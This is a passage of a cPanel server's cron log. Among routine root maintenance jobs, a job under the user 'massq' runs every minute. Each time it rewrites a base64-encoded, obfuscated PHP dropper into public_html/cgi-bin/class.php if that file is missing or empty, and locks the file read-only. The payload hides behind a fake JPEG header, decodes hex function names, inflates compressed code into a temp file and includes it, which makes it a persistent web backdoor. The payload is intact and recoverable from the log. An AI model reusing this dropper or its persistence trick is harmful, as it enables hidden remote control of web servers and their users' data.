DSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:08:01 server CROND[29139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:08:14 server run-parts(/etc/cron.daily)[30627]: finished maldet
Sep 11 04:08:14 server run-parts(/etc/cron.daily)[31481]: starting man-db.cron
Sep 11 04:08:15 server run-parts(/etc/cron.daily)[31148]: finished man-db.cron
Sep 11 04:08:15 server anacron[27880]: Job `cron.daily' terminated
Sep 11 04:08:15 server anacron[27880]: Normal exit (1 job run)
Sep 11 04:09:01 server CROND[32106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:09:01 server CROND[32107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:09:01 server CROND[32108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:09:01 server CROND[32109]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 04:10:01 server CROND[32578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:10:01 server CROND[32581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:10:01 server CROND[32584]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:10:01 server CROND[32592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:10:01 server CROND[32591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:10:01 server CROND[32593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:10:01 server CROND[32589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:10:01 server CROND[32590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:11:01 server CROND[997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:11:01 server CROND[998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:11:01 server CROND[999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:12:01 server CROND[1457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:12:01 server CROND[1459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:12:01 server CROND[1458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:12:01 server CROND[1460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:13:01 server CROND[1899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:13:01 server CROND[1900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:13:01 server CROND[1901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:14:01 server CROND[2302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:14:01 server CROND[2303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:14:01 server CROND[2305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:15:02 server CROND[2816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:15:02 server CROND[2822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:15:02 server CROND[2825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:15:02 server CROND[2834]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 04:15:02 server CROND[2836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:15:02 server CROND[2837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:15:02 server CROND[2833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:15:02 server CROND[2835]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:15:02 server CROND[2839]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 04:16:01 server CROND[3652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:16:01 server CROND[3653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:16:01 server CROND[3654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:17:01 server CROND[4026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:17:01 server CROND[4023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:17:01 server CROND[4025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:17:01 server CROND[4024]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep 11 04:18:01 server CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:18:01 server CROND[4453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:18:01 server CROND[4451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:19:01 server CROND[4867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:19:01 server CROND[4868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:19:01 server CROND[4869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:20:01 server CROND[5340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:20:01 server CROND[5342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:20:01 server CROND[5343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:20:01 server CROND[5349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:20:01 server CROND[5347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:20:01 server CROND[5348]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:20:01 server CROND[5350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:20:01 server CROND[5345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
